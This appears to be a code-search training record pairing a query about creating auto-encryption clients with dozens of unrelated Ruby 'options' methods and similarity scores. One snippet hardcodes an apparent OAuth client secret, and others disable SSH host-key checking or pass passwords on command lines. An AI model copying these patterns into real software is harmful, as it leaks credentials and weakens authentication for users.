"def shell_opts(options)\n filtered_opts = options.reject do |key, _value|\n [:use_sudo, :sudo_command, :log_subject, :quiet].include?(key)\n end\n { live_stream: logger, timeout: 60_000 }.merge(filtered_opts)\n end",
"def mongodump_options\n options = String.new\n options += \" --username='#{user}' \" unless user.blank?\n options += \" --password='#{password}' \" unless password.blank?\n options += \" --host='#{host}' \" unless host.blank?\n options += \" --port='#{port}' \" unless port.blank?\n options += \" --db='#{database}' \" unless database.blank?\n options\n end",
"def options\n original_options = super\n user_defaults = @config\n user_defaults.merge(original_options)\n end",
"def x_set_command_options(context)\n defaults = { uuid: false }\n defaults.merge!(dry_run: true) if context.options.key?(:dry_run)\n defaults\n end",
"def options\n original_options = super\n defaults = Thor::CoreExt::HashWithIndifferentAccess.new(\n {\n width: 72,\n count: 200,\n },\n )\n\n config_path = File.expand_path(ENV.fetch('AUGURY_CFG_PATH', '~/.augury.yml'))\n if File.file?(config_path)\n config_options = Thor::CoreExt::HashWithIndifferentAccess.new(YAML.load_file(config_path) || {})\n defaults = defaults.merge(config_options)\n end\n\n # Enforce implied options\n defaults[:links] = true if original_options[:remove_links] || defaults[:remove_links]\n\n Thor::CoreExt::HashWithIndifferentAccess.new(defaults.merge(original_options))\n end",
"def common_options (d, container)\n # Deprecated section\n if container[\"link\"] != nil\n print \"develop.yaml\\n\"\n print \"link: option is deprecated, use links: \\n\"\n end\n\n container_name = \"\"\n if container[\"image\"] != nil then d.image = container[\"image\"] end\n if container[\"create_args\"] != nil then d.create_args = container[\"create_args\"] end\n if container[\"var_env\"] != nil then d.env = container[\"var_env\"] end\n if container[\"links\"] != nil\n links = container[\"links\"]\n if !links.empty?\n links.each do |link|\n d.link(link)\n end\n end\n end\n if container[\"name\"] != nil\n d.name = container_name = container[\"name\"]\n end\n\n #default volumes for all containers\n default_volumens = [\"/vagrant:/project\"]\n if container_name == \"#{AUTHOR_CTR_NAME}\"\n default_volumens += [\"/aemconfig:/bin/crx-quickstart/install/install\"]\n end\n if container_name == \"#{WORKDIR_CTR_NAME}\" || container_name == \"#{BUILD_CTR_NAME}\" || container_name == \"#{BASE_CTR_NAME}\"\n default_volumens += [\"/.m2:/root/.m2\"]\n end\n if container_name == \"#{BASE_CTR_NAME}\"\n default_volumens += [\"/aemconfig:/root/aemconfig\"]\n end\n if container_name == \"#{GIT_CTR_NAME}\"\n default_volumens += [\"/ssh/id_rsa:/root/.ssh/id_rsa\",\"/gitconfig/.gitconfig:/root/.gitconfig\"]\n end\n if container[\"volumes\"] != nil\n d.volumes = container[\"volumes\"] + default_volumens\n else\n d.volumes = default_volumens\n end\n if container[\"registry\"] != nil\n docker_login d, container[\"registry\"]\n end\nend",
"def options\n db = (opts[\"-d\"] or opts[\"d\"] or opts[\"--database\"] or opts[\"database\"] or \"mysql\")\n rubypath = (opts[\"-r\"] or opts[\"r\"] or opts[\"--ruby\"] or opts[\"ruby\"] )\n rubypath = \"--ruby=#{rubypath}\" if rubypath\n nullary_opts = %w{ -f --freeze --force -s --skip -q --quiet -c --svn -g --git }.reject { |x| !opts.has_key?(x) and !opts.has_key?(x.gsub(/-/, \"\"))}\n \"-d #{db} #{rubypath}\" + nullary_opts.join(\" \")\n end",
"def options\n @options ||= OpenStruct.new(default_options)\n end",
"def options(*args)\n reset! unless integration_session\n integration_session.__send__(:process, :options, *args).tap do\n copy_session_variables!\n end\n end",
"def options(*args)\n reset! unless integration_session\n integration_session.__send__(:process, :options, *args).tap do\n copy_session_variables!\n end\n end",
"def prepare_options(options)\n options = self.class.defaults.merge(self.options).merge(options)\n end",
"def validate_new_options!(opts)\n return Options::Redacted.new unless opts\n if opts[:read_concern]\n # Raise an error for non user-settable options\n if opts[:read_concern][:after_cluster_time]\n raise Mongo::Error::InvalidReadConcern.new(\n 'The after_cluster_time read_concern option cannot be specified by the user'\n )\n end\n\n given_keys = opts[:read_concern].keys.map(&:to_s)\n allowed_keys = ['level']\n invalid_keys = given_keys - allowed_keys\n # Warn that options are invalid but keep it and forward to the server\n unless invalid_keys.empty?\n log_warn(\"Read concern has invalid keys: #{invalid_keys.join(',')}.\")\n end\n end\n\n if server_api = opts[:server_api]\n unless server_api.is_a?(Hash)\n raise ArgumentError, \":server_api value must be a hash: #{server_api}\"\n end\n\n extra_keys = server_api.keys - %w(version strict deprecation_errors)\n unless extra_keys.empty?\n raise ArgumentError, \"Unknown keys under :server_api: #{extra_keys.map(&:inspect).join(', ')}\"\n end\n\n if version = server_api[:version]\n unless VALID_SERVER_API_VERSIONS.include?(version)\n raise ArgumentError, \"Unknown server API version: #{version}\"\n end\n end\n end\n\n Lint.validate_underscore_read_preference(opts[:read])\n Lint.validate_read_concern_option(opts[:read_concern])\n opts.each.inject(Options::Redacted.new) do |_options, (k, v)|\n key = k.to_sym\n if VALID_OPTIONS.include?(key)\n validate_max_min_pool_size!(key, opts)\n validate_max_connecting!(key, opts)\n validate_read!(key, opts)\n if key == :compressors\n compressors = valid_compressors(v)\n\n if compressors.include?('snappy')\n validate_snappy_compression!\n end\n\n if compressors.include?('zstd')\n validate_zstd_compression!\n end\n\n _options[key] = compressors unless compressors.empty?\n elsif key == :srv_max_hosts\n if v && (!v.is_a?(Integer) || v < 0)\n log_warn(\"#{v} is not a valid integer for srv_max_hosts\")\n else\n _options[key] = v\n end\n else\n _options[key] = v\n end\n else\n log_warn(\"Unsupported client option '#{k}'. It will be ignored.\")\n end\n _options\n end\n end",
"def options\n @unfrozen_options ||= super.dup\n end",
"def init_options( opts )\n options = default_options.merge( opts ) \n @environment = options[:environment]\n @perf_threshold = options[:perf_threshold]\n @moleable = options[:moleable]\n @app_name = options[:app_name]\n @user_key = options[:user_key]\n @store = options[:store]\n @excluded_paths = options[:excluded_paths]\n end",
"def options\n OPTIONS.each_with_object({}) do |name, hash|\n hash[name] = raw.fetch(name, nil)\n end\n end",
"def options\n OPTIONS.each_with_object({}) do |name, hash|\n hash[name] = raw.fetch(name, nil)\n end\n end",
"def optional(slave = false)\n ({\n :pool_size => pool_size,\n :logger => logger? ? Mongoid::Logger.new : nil,\n :slave_ok => slave\n }).merge(self).reject { |k,v| Config.blacklisted_options.include? k }.\n inject({}) { |memo, (k, v)| memo[k.to_sym] = v; memo}\n end",
"def options\n result = options_pre_mizuno\n result[:reuse_address] = true\n result\n end",
"def options\n @options ||= if top_class?\n DEFAULT_OPTIONS\n else\n superclass.options\n end.dup\n end",
"def options\n {}.tap{ |options| VALID_OPTIONS_KEYS.each{|k| options[k] = send(k) } }\n end",
"def connection_options\n opts = {}\n\n if @wtimeout\n warn \"Using wtimeout in a URI is deprecated, please use wtimeoutMS. It will be removed in v2.0.\"\n opts[:wtimeout] = @wtimeout\n end\n opts[:wtimeout] = @wtimeoutms if @wtimeoutms\n\n opts[:w] = 1 if @safe\n opts[:w] = @w if @w\n opts[:j] = @journal if @journal\n opts[:fsync] = @fsync if @fsync\n\n opts[:connect_timeout] = @connecttimeoutms if @connecttimeoutms\n opts[:op_timeout] = @sockettimeoutms if @sockettimeoutms\n opts[:pool_size] = @pool_size if @pool_size\n opts[:read] = @readpreference if @readpreference\n\n if @slaveok && !@readpreference\n unless replicaset?\n opts[:slave_ok] = true\n else\n opts[:read] = :secondary_preferred\n end\n end\n\n if replicaset.is_a?(String)\n opts[:name] = replicaset\n end\n\n opts[:db_name] = @db_name if @db_name\n opts[:auths] = @auths if @auths\n opts[:ssl] = @ssl if @ssl\n opts[:connect] = connect?\n\n opts\n end",
"def options()\n @options ||= OpenStruct.new({\n :debug => false,\n :gist_api_url => nil,\n :gist_extension => defaults[\"extension\"],\n :private_gist => defaults[\"private\"],\n :browse_enabled => defaults[\"browse\"],\n :embed_enabled => nil,\n :description => nil,\n :setup_credentials => false\n })\n end",
"def options\n OPTIONS.each_with_object({}) do |name, hash|\n hash[name] = raw.fetch(name, nil)\n end\n end",
"def test_options\n base_test_options.merge(connect_options).\n merge(ssl_options).merge(compressor_options).merge(retry_writes_options)\n end",
"def options\n @options ||= Launchr::OrderedHash.new\n @options\n end",
"def options\n @options.dup.freeze\n end",
"def options!(**opts)\n options.merge!(opts)\n end",
"def build_options(options)\n validate_options(options)\n merge_default_options_into(options)\n end",
"def common_options(opts); end",
"def give_options\n clean_user_options\n @user_options.merge(default_options)\n end",
"def extra_context(options = nil)\n context.extra.merge!(options || {})\n yield if block_given?\n context.extra\n ensure\n context.extra.delete_if { |k, _| options.keys.include? k } if block_given?\n end",
"def options\n VALID_OPTIONS_KEYS.inject({}) do |option, key|\n option.merge!(key => send(key))\n end\n end",
"def options\n VALID_OPTIONS_KEYS.inject({}) do |option, key|\n option.merge!(key => send(key))\n end\n end",
"def options\n VALID_OPTIONS_KEYS.inject({}) do |option, key|\n option.merge!(key => send(key))\n end\n end",
"def options\n VALID_OPTIONS_KEYS.inject({}) do |option, key|\n option.merge!(key => send(key))\n end\n end",
"def options\n VALID_OPTIONS_KEYS.inject({}) do |option, key|\n option.merge!(key => send(key))\n end\n end",
"def options\n VALID_OPTIONS_KEYS.inject({}) do |option, key|\n option.merge!(key => send(key))\n end\n end",
"def machine_options\n opts = {\n convergence_options: {\n bootstrap_proxy: @bootstrap_proxy,\n chef_config: @chef_config,\n chef_version: @chef_version,\n install_sh_path: @install_sh_path\n },\n bootstrap_options: {\n instance_type: @flavor,\n key_name: @key_name,\n security_group_ids: @security_group_ids\n },\n ssh_username: @ssh_username,\n image_id: @image_id,\n use_private_ip_for_ssh: @use_private_ip_for_ssh\n }\n\n # Add any optional machine options\n require 'chef/mixin/deep_merge'\n @subnet_id = Server::Helpers::Component.subnet_id('us-west-2b')\n if @subnet_id\n opts = Chef::Mixin::DeepMerge.hash_only_merge(opts,\n bootstrap_options: { subnet_id: @subnet_id })\n end\n\n opts\n end",
"def compile_opts(o={}, extra={})\n case o\n when Symbol, String\n extra.merge(:name => o.to_s)\n when NilClass\n extra\n else\n extra.merge(o)\n end\n end",
"def options \n self.merge!(@config.opts)\n end",
"def options\n {}.tap do |options|\n VALID_OPTIONS_KEYS.each{|k| options[k] = send(k)}\n end\n end",
"def options\n @options ||= args.dig(:options) || {}\n end",
"def base_options\n @base_options ||= begin\n opts = [\"--no-tty\"]\n path = setup_gpg_homedir\n opts << \"--homedir '#{path}'\" if path\n path = setup_gpg_config\n opts << \"--options '#{path}'\" if path\n opts.join(\" \")\n end\n end",
"def options\n VALID_OPTIONS_KEYS.reduce({}) do |option, key|\n option.merge!(key => send(key))\n end\n end",
"def encrypted_options\n encrypt(construct_encrypted_options())\n end",
"def options\n VALID_OPTIONS_KEYS.inject({}) do |option, key|\n option.merge!(key => send(key))\n end\n end",
"def options\n override_options = {\n :auth_methods => auth_methods,\n :logger => @logger,\n :port => @port,\n }\n override_options[:keys] = [@key_file] if @key_file\n override_options[:user_known_hosts_file] = '/dev/null' if @ignore_known_hosts\n override_options[:password] = @password if @password\n Net::SSH.configuration_for(@host).merge(override_options)\n end",
"def options(additional_headers: {}, debug: false)\n hash = {\n headers: headers.merge(additional_headers),\n follow_redirects: true,\n limit: 6\n }\n hash[:debug_output] = $stdout if debug\n hash\n end",
"def command_options=(opts)\n # Ensure these options are removed, these are either incompatible with the LSF,\n # or will already have been added elsewhere\n {\n ['-h', '--help'] => false,\n ['-w', '--wait'] => false,\n ['-d', '--debug'] => false,\n ['-c', '--continue'] => false,\n '--exec_remote' => false,\n ['-t', '--target'] => '*',\n ['-e', '--environment'] => '*',\n '--id' => '*',\n ['-l', '--lsf'] => %w(add clear)\n }.each do |names, values|\n [names].flatten.each do |name|\n ix = opts.index(name)\n if ix\n opts.delete_at(ix)\n [values].flatten.each do |value|\n if value && (value == '*' || opts[ix] == value)\n opts.delete_at(ix)\n end\n end\n end\n end\n end\n @command_options ||= []\n @command_options += opts\n end",
"def default_emerge_upgrade_options\n default_emerge_options('-u -D', options)\n end",
"def base_opts\n {\n client_id: '277ef29692f9a70d511415dc60592daf4cf2c6f6552d3e1b769924b2f2e2e6fe',\n client_secret: 'd6106f26e8ff5b749a606a1fba557f44eb3dca8f48596847770beb9b643ea352'\n }\n end",
"def options\n VALID_OPTIONS_KEYS.reduce({}) do |option, key|\n option.merge!(key => send(key))\n end\n end",
"def get_full_options\n options_hash = self.get_runtime_options\n [:task_list, :version, :_exponential_retry, :prefix_name, :return_on_start, :manual_completion, :data_converter].each do |attribute|\n options_hash.merge!(attribute => self.send(attribute)) if self.send(attribute)\n end\n options_hash\n end",
"def initialize(options = {})\n (options.keys - DEFAULTS.keys - EXTRA_OPTIONS)[0..1].each do |missing|\n raise ArgumentError, \"Invalid option: #{missing}\"\n end\n @options = options\n end",
"def engine_opts\n @setup[:engine_opts] ||= engine_args.inject({}) { |opts, a| a.is_a?(Hash) ? opts.update(a) : opts.update(a => true) }\n end",
"def options\n\t\t\tVALID_OPTIONS_KEYS.inject({}) do |option,key|\n\t\t\t\toption.merge!(key => send(key))\n\t\t\tend\n\t\tend",
"def credential_options\n %w[username password].map do |option|\n next if send(option).to_s.empty?\n \"--#{option}='#{send(option)}'\"\n end.compact.join(' ')\n end",
"def options(connection)\n options = super\n if add_secondary_ok_flag?(connection)\n flags = options[:flags]&.dup || []\n flags << :secondary_ok\n options = options.merge(flags: flags)\n end\n options\n end",
"def merge_options(opts)\n @options = {\n :format => :base_64,\n :cipher => \"AES-256-CBC\",\n :iv => nil,\n :padding => true, # use cipher padding by default\n }.merge! opts\n _handle_iv\n _handle_padding\n end",
"def options\n VALID_OPTIONS_KEYS.each_with_object({}) do |k, options|\n options[k] = send(k)\n end\n end",
"def options_for_klient(options = {})\n user_tenant_options = Kaui.current_tenant_user_options(current_user, session)\n user_tenant_options.merge(options)\n user_tenant_options\n end",
"def fix_options(passed_options)\n return passed_options unless passed_options.nil? || passed_options.is_a?(Hash)\n opts = OptionsHash.new(passed_options || {}).to_hash\n sequelizer_options = db_config(opts).merge(opts)\n\n if sequelizer_options[:adapter] =~ /^postgres/\n sequelizer_options[:adapter] = 'postgres'\n paths = %w(search_path schema_search_path schema).map { |key| sequelizer_options.delete(key) }.compact\n\n unless paths.empty?\n sequelizer_options[:search_path] = paths.first\n sequelizer_options[:after_connect] = after_connect(paths.first)\n end\n end\n\n if sequelizer_options[:timeout]\n # I'm doing a merge! here because the indifferent access part\n # of OptionsHash seemed to not work when I tried\n # sequelizer_options[:timeout] = sequelizer_options[:timeout].to_i\n sequelizer_options.merge!(timeout: sequelizer_options[:timeout].to_i)\n end\n\n sequelizer_options.merge(after_connect: make_ac(sequelizer_options))\n end",
"def options\n VALID_OPTIONS.inject({}) do |option, key|\n option.merge!(key => send(key))\n end\n end",
"def configuration\n if system_keys.any?\n options.merge({\n system_keys: Configuration.default_system_keys.merge(system_keys)\n })\n\n else\n options\n\n end\n end",
"def options\n # Build the list of parameters to execute with cURL\n options = [\n \"-q\",\n \"--fail\",\n \"--location\",\n \"--max-redirs\", \"10\", \"--verbose\",\n \"--user-agent\", USER_AGENT,\n ]\n\n options += [\"--cacert\", @ca_cert] if @ca_cert\n options += [\"--capath\", @ca_path] if @ca_path\n options += [\"--continue-at\", \"-\"] if @continue\n options << \"--insecure\" if @insecure\n options << \"--cert\" << @client_cert if @client_cert\n options << \"-u\" << @auth if @auth\n options << \"--location-trusted\" if @location_trusted\n\n if @headers\n Array(@headers).each do |header|\n options << \"-H\" << header\n end\n end\n\n # Specify some options for the subprocess\n subprocess_options = {}\n\n # If we're in Vagrant, then we use the packaged CA bundle\n if Vagrant.in_installer?\n subprocess_options[:env] ||= {}\n subprocess_options[:env][\"CURL_CA_BUNDLE\"] = ENV[\"CURL_CA_BUNDLE\"]\n end\n\n return [options, subprocess_options]\n end",
"def external_options\n options = {}\n # default facters first\n begin\n if !(defined?(::Facter)).nil?\n options[:cache_dir] = ::Facter.value('facter_cache_dir') if ::Facter.value('facter_cache_dir') != nil and ::Facter.value('facter_cache_dir') != ''\n options[:ttl] = ::Facter.value('facter_cache_ttl').to_i if ::Facter.value('facter_cache_ttl') != nil and ::Facter.value('facter_cache_ttl') != ''\n end\n rescue\n end\n \n begin\n options[:cache_dir] = ENV['FACTER_CACHE_DIR'] if ENV['FACTER_CACHE_DIR'] != nil and ENV['FACTER_CACHE_DIR'] != ''\n options[:ttl] = ENV['FACTER_CACHE_TTL'].to_i if ENV['FACTER_CACHE_TTL'] != nil and ENV['FACTER_CACHE_TTL'] != ''\n options[:debug] = true if ENV['FACTER_DEBUG'] == 'true'\n rescue\n end\n return options\n end",
"def creeper_options(opts={})\n self.creeper_options_hash = get_creeper_options.merge(stringify_keys(opts || {}))\n end",
"def parse_additional_options(opts)\n end",
"def parse_additional_options(opts)\n end",
"def options\n Hash[VALID_OPTIONS_KEYS.map {|key| [key, public_send(key)] }]\n end",
"def all_test_options\n test_options.merge(auth_options)\n end",
"def options(opts = {})\n OPTIONS.merge(opts)\n end",
"def launcher_env_options(opts)\n if getenv(\"AUTH_TYPE\") == \"RANDOM\"\n ## each day we want to use different auth type ignoring weekends\n time = Time.now\n day_of_year = time.yday\n passed_weeks_of_year = time.strftime('%W').to_i - 1\n opts[:auth_type] = ALTERNATING_AUTH[\n (day_of_year - 2 * passed_weeks_of_year) % ALTERNATING_AUTH.size\n ]\n elsif getenv(\"AUTH_TYPE\")\n opts[:auth_type] = getenv(\"AUTH_TYPE\")\n end\n\n # workaround https://issues.jenkins-ci.org/browse/JENKINS-30719\n # that means to remove extra `\\` chars\n ENV['IMAGE_PRE'] = ENV['IMAGE_PRE'].gsub(/\\\\\\${/,'${') if ENV['IMAGE_PRE']\n\n keys = [:crt_path, :deployment_type,\n :hosts_spec, :auth_type,\n :ssh_key, :ssh_user,\n :app_domain, :host_domain,\n :rhel_base_repo,\n :dns, :set_hostnames,\n :use_rpm_playbook,\n :use_nfs_storage,\n :image_pre,\n :puddle_repo,\n :etcd_num,\n :pre_ansible,\n :ansible_url,\n :customized_ansible_conf,\n :kerberos_docker_base_image,\n :kerberos_kdc, :kerberos_keytab_url,\n :kerberos_docker_base_image,\n :kerberos_admin_server]\n\n keys.each do |key|\n val = getenv(key.to_s.upcase)\n opts[key] = val if val\n end\n\n opts[:use_rpm_playbook] = false unless to_bool(opts[:use_rpm_playbook])\n opts[:use_nfs_storage] = false unless to_bool(opts[:use_nfs_storage])\n end"
] | [
"0.7592366",
"0.6068077",
"0.5856887",
"0.5851017",
"0.57280946",
"0.5706331",
"0.5705585",
"0.5691094",
"0.5690777",
"0.5662071",
"0.5613209",
"0.558693",
"0.5567611",
"0.5565204",
"0.5558541",
"0.5558541",
"0.5556546",
"0.5538299",
"0.5518577",
"0.5518447",
"0.5500289",
"0.5500289",
"0.54985434",
"0.5484615",
"0.5473074",
"0.54626393",
"0.5431761",
"0.54165125",
"0.54148746",
"0.54147094",
"0.5409457",
"0.53969866",
"0.5396592",
"0.53861797",
"0.5378193",
"0.5363328",
"0.5363328",
"0.5360593",
"0.5359343",
"0.5358832",
"0.5351266",
"0.5350269",
"0.5349721",
"0.5344358",
"0.5342033",
"0.5336392",
"0.53336686",
"0.5327328",
"0.5317844",
"0.5309721",
"0.5308831",
"0.5298247",
"0.5295319",
"0.5280257",
"0.5275035",
"0.5264373",
"0.52589804",
"0.5256289",
"0.5253175",
"0.5253175",
"0.5253175",
"0.5253175",
"0.5253175",
"0.5253175",
"0.5249678",
"0.52411",
"0.5236597",
"0.52328086",
"0.52323425",
"0.5223702",
"0.52200556",
"0.5208446",
"0.5206922",
"0.5199262",
"0.5191815",
"0.5186212",
"0.51757014",
"0.5173764",
"0.5158266",
"0.51474243",
"0.51386154",
"0.513548",
"0.5134602",
"0.5131242",
"0.51293564",
"0.5125798",
"0.5115873",
"0.51102465",
"0.51090497",
"0.51067674",
"0.5106368",
"0.50986564",
"0.50948215",
"0.50893205",
"0.508378",
"0.508378",
"0.50813454",
"0.50768596",
"0.50721633",
"0.50720227"
] | 0.7255083 | 1 |
Create additional clients for auto encryption, if necessary | def set_or_create_clients(options)
client = options[:client]
@key_vault_client = if options[:key_vault_client]
options[:key_vault_client]
elsif client.options[:max_pool_size] == 0
client
else
internal_client(client)
end
@metadata_client = if options[:bypass_auto_encryption]
nil
elsif client.options[:max_pool_size] == 0
client
else
internal_client(client)
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def encryption_client; end",
"def build_encrypter\n @encrypter = Crypt::AutoEncrypter.new(\n @options[:auto_encryption_options].merge(client: self)\n )\n end",
"def create_clients\n @haproxy = rpcclient('haproxy')\n @site = rpcclient('site')\n @service = rpcclient('service')\n @rpcutil = rpcclient('rpcutil')\n # Disable to progress bar to clean up output a little\n [@haproxy, @site, @service, @rpcutil].each do |client|\n client.progress = false\n end\nend",
"def encryption_server; end",
"def run\n assert_destination_writable!\n retries = Config[:client_registration_retries] || 5\n client = nil\n begin\n client = api_client(create_or_update)\n rescue Net::HTTPFatalError => e\n # HTTPFatalError implies 5xx.\n raise if retries <= 0\n\n retries -= 1\n Chef::Log.warn(\"Failed to register new client, #{retries} tries remaining\")\n Chef::Log.warn(\"Response: HTTP #{e.response.code} - #{e}\")\n retry\n end\n write_key\n client\n end",
"def init_client; end",
"def create_client!\n Chef::ApiClient::Registration.new(node_name, client_path, http_api: rest).run\n end",
"def client\n @client ||= ActiveSupport::MessageEncryptor.new(@key, cipher: 'aes-256-cbc')\n end",
"def create\n payload = {\n name: name,\n validator: validator,\n # this field is ignored in API V1, but left for backwards-compat,\n # can remove after OSC 11 support is finished?\n admin: admin,\n }\n begin\n # try API V1\n raise Chef::Exceptions::InvalidClientAttribute, \"You cannot set both public_key and create_key for create.\" if !create_key.nil? && !public_key.nil?\n\n payload[:public_key] = public_key unless public_key.nil?\n payload[:create_key] = create_key unless create_key.nil?\n\n new_client = if Chef::Config[:migrate_key_to_keystore] == true\n chef_rest_v1_with_validator.post(\"clients\", payload)\n else\n chef_rest_v1.post(\"clients\", payload)\n end\n\n # get the private_key out of the chef_key hash if it exists\n if new_client[\"chef_key\"]\n if new_client[\"chef_key\"][\"private_key\"]\n new_client[\"private_key\"] = new_client[\"chef_key\"][\"private_key\"]\n end\n new_client[\"public_key\"] = new_client[\"chef_key\"][\"public_key\"]\n new_client.delete(\"chef_key\")\n end\n\n rescue Net::HTTPClientException => e\n # rescue API V0 if 406 and the server supports V0\n supported_versions = server_client_api_version_intersection(e, SUPPORTED_API_VERSIONS)\n raise e unless supported_versions && supported_versions.include?(0)\n\n # under API V0, a key pair will always be created unless public_key is\n # passed on initial POST\n payload[:public_key] = public_key unless public_key.nil?\n\n new_client = chef_rest_v0.post(\"clients\", payload)\n end\n Chef::ApiClientV1.from_hash(to_h.merge(new_client))\n end",
"def prepare_client(client, channel, type); end",
"def create_client\n\nend",
"def prepare_simple_client(client, channel, type); end",
"def register_self_with_zk\n @zk.create('/clients', ignore: :node_exists)\n @zk.create('/clients/client-', mode: :ephemeral_sequential)\n end",
"def index\n # Test ob sich client_key-Cookie entschlüsseln lässt\n begin\n database_helper_decrypt_value(cookies[:client_key])\n rescue Exception\n cookies.delete(:client_key) # Verwerfen des nicht entschlüsselbaren Cookies\n cookies.delete(:client_salt)\n end\n\n\n unless cookies[:client_key] # Erster Zugriff in neu gestartetem Browser oder Cookie nicht mehr verfügbar\n loop_count = 0\n while loop_count < MAX_NEW_KEY_TRIES\n loop_count = loop_count+1\n new_client_key = rand(10000000)\n unless get_client_info_store.exist?(new_client_key) # Dieser Key wurde noch nie genutzt\n # Salt immer mit belegen bei Vergabe des client_key, da es genutzt wird zur Verschlüsselung des Client_Key im cookie\n cookies[:client_salt] = { :value => rand(10000000000), :expires => 1.year.from_now } # Lokaler Schlüsselbestandteil im Browser-Cookie des Clients, der mit genutzt wird zur Verschlüsselung der auf Server gespeicherten Login-Daten\n cookies[:client_key] = { :value => database_helper_encrypt_value(new_client_key), :expires => 1.year.from_now }\n get_client_info_store.write(new_client_key, 1) # Marker fuer Verwendung des Client-Keys\n break\n end\n end\n raise \"Cannot create client key after #{MAX_NEW_KEY_TRIES} tries\" if loop_count >= MAX_NEW_KEY_TRIES\n else\n cookies[:client_salt] = { :value => cookies[:client_salt], :expires => 1.year.from_now } # Timeout neu setzen bei Benutzung\n cookies[:client_key] = { :value => cookies[:client_key], :expires => 1.year.from_now } # Timeout neu setzen bei Benutzung\n end\n\n # Entfernen evtl. bisheriger Bestandteile des Session-Cookies\n cookies.delete(:locale) if cookies[:locale]\n cookies.delete(:last_logins) if cookies[:last_logins]\n session.delete(:locale) if session[:locale]\n session.delete(:last_used_menu_controller) if session[:last_used_menu_controller]\n session.delete(:last_used_menu_action) if session[:last_used_menu_action]\n session.delete(:last_used_menu_caption) if session[:last_used_menu_caption]\n session.delete(:last_used_menu_hint) if session[:last_used_menu_hint]\n session.delete(:database) if session[:database]\n session.delete(:dbid) if session[:dbid]\n session.delete(:version) if session[:version]\n session.delete(:db_block_size) if session[:db_block_size]\n session.delete(:wordsize) if session[:wordsize]\n session.delete(:dba_hist_cache_objects_owner) if session[:dba_hist_cache_objects_owner]\n session.delete(:dba_hist_blocking_locks_owner) if session[:dba_hist_blocking_locks_owner]\n session.delete(:request_counter) if session[:request_counter]\n session.delete(:instance) if session[:instance]\n session.delete(:time_selection_start) if session[:time_selection_start]\n session.delete(:time_selection_end) if session[:time_selection_end]\n\n\n set_I18n_locale(get_locale) # ruft u.a. I18n.locale = get_locale auf\n\n write_to_client_info_store(:last_used_menu_controller, 'env')\n write_to_client_info_store(:last_used_menu_action, 'index')\n write_to_client_info_store(:last_used_menu_caption, 'Start')\n write_to_client_info_store(:last_used_menu_hint, t(:menu_env_index_hint, :default=>\"Start of application without connect to database\"))\n rescue Exception=>e\n set_current_database(nil) # Sicherstellen, dass bei naechstem Aufruf neuer Einstieg\n raise e # Werfen der Exception\n end",
"def internal_client(client)\n @internal_client ||= client.with(\n auto_encryption_options: nil,\n min_pool_size: 0,\n monitoring: client.send(:monitoring),\n )\n end",
"def create_client\n client_public, client_private = ZMQ::Util.curve_keypair\n store_known_client(client_public)\n\n {\n server_public_key: @public_key,\n public_key: client_public,\n private_key: client_private\n }\n end",
"def import_clients\n Client.unrestrict_primary_key\n iterate_lines(@directory + 'clients.json') do |idx, line|\n print \"\\rImporting Clients #{idx}...\"\n Client.create(JSON.parse(line))\n end\n print \"Done\\n\"\n Client.restrict_primary_key\n end",
"def initialize_scanned_client!\n ClientRegistry.instance.global_client('basic')\nend",
"def initialize_scanned_client!\n ClientRegistry.instance.global_client('basic')\nend",
"def sign_up_client\n\n end",
"def init_clients(environment=:development)\n env_config = self.config_for(environment)\n self.init_riak_client(env_config)\n end",
"def register(client); end",
"def reset_client_api_credentials\n\n r = Aws::Kms.new('saas', 'saas').decrypt(@client.api_salt)\n return r unless r.success?\n\n api_salt_d = r.data[:plaintext]\n\n @client_api_secret_d = SecureRandom.hex\n\n r = LocalCipher.new(api_salt_d).encrypt(@client_api_secret_d)\n return r unless r.success?\n\n api_secret_e = r.data[:ciphertext_blob]\n api_key = SecureRandom.hex\n\n @client.api_key = api_key\n @client.api_secret = api_secret_e\n @client.save!\n success\n end",
"def add(client); end",
"def create_ai_client(client_name,client_arch,client_mac,service_name,client_ip)\n message = \"Creating:\\tClient entry for #{client_name} with architecture #{client_arch} and MAC address #{client_mac}\"\n command = \"installadm create-client -n #{service_name} -e #{client_mac}\"\n execute_command(message,command)\n if client_arch.match(/i386/) or client_arch.match(/i386/)\n update_ai_client_dhcpd_entry(client_name,client_mac,client_ip)\n update_ai_client_grub_cfg(client_mac)\n else\n add_dhcp_client(client_name,client_mac,client_ip,client_arch,service_name)\n end\n smf_service = \"svc:/network/dhcp/server:ipv4\"\n refresh_smf_service(smf_service)\n return\nend",
"def create_default_client(client_opts = {}, member_opts = {})\n last_name = Faker::Name.last_name.upcase\n given_names = Faker::Name.first_name.upcase\n birth_date = Faker::Date.between(from: 60.years.ago, to: 21.years.ago)\n title = Faker::Name.prefix.gsub(\".\", \"\").upcase\n sex = [\"M\", \"F\",].sample\n marital_status = [\"D\", \"M\", \"S\", \"W\", \"X\", nil].sample\n # email = Faker::Internet.email\n email = \"[email protected]\"\n birth_place = \"TEST AUTOMATION FARM\"\n post_code = \"4000\"\n \n default_options = {\n :surname => last_name,\n :given_names => given_names,\n :birth => birth_date,\n :title => title, # Mrs. => MRS\n :sex => sex,\n :marital_status => marital_status,\n :state => \"QLD\",\n :birth_place => birth_place,\n :email=> email,\n :post_code => post_code\n }\n puts \"[INFO] merge client options: #{client_opts}\"\n client = Client.new(default_options.merge(client_opts))\n client.save # will create one in Acurity\n\n default_member_options = {\n :fund => \"GSUP\", \n :payroll => \"031000\", \n :category => \"AP\",\n :client_number => client.client_number, \n :joined_fund => Faker::Date.between(from: 3.years.ago, to: 1.years.ago).to_s,\n :status => \"C\"\n }\n unless member_opts.nil? \n member = Member.new(default_member_options.merge(member_opts))\n member.save\n end\n \n if member \n return client.client_number, member.member, client\n else\n return client.client_number, nil, client\n end\n end",
"def define_mints_clients\r\n %w[user service_account]\r\n end",
"def initialize\n @clients = []\n end",
"def build_auto_encryption_options(opts, database)\n return nil unless opts[:auto_encryption_options]\n\n opts[:auto_encryption_options].dup.tap do |auto_encryption_options|\n if auto_encryption_options.key?(:schema_map)\n default_logger.warn(\n 'The :schema_map is configured in the :auto_encryption_options for the client;' +\n ' encryption setting in Mongoid documents will be ignored.'\n )\n else\n auto_encryption_options[:schema_map] = Mongoid.config.encryption_schema_map(database)\n end\n if auto_encryption_options.key?(:key_vault_client)\n auto_encryption_options[:key_vault_client] = Mongoid.client(\n auto_encryption_options[:key_vault_client]\n )\n end\n end\n end",
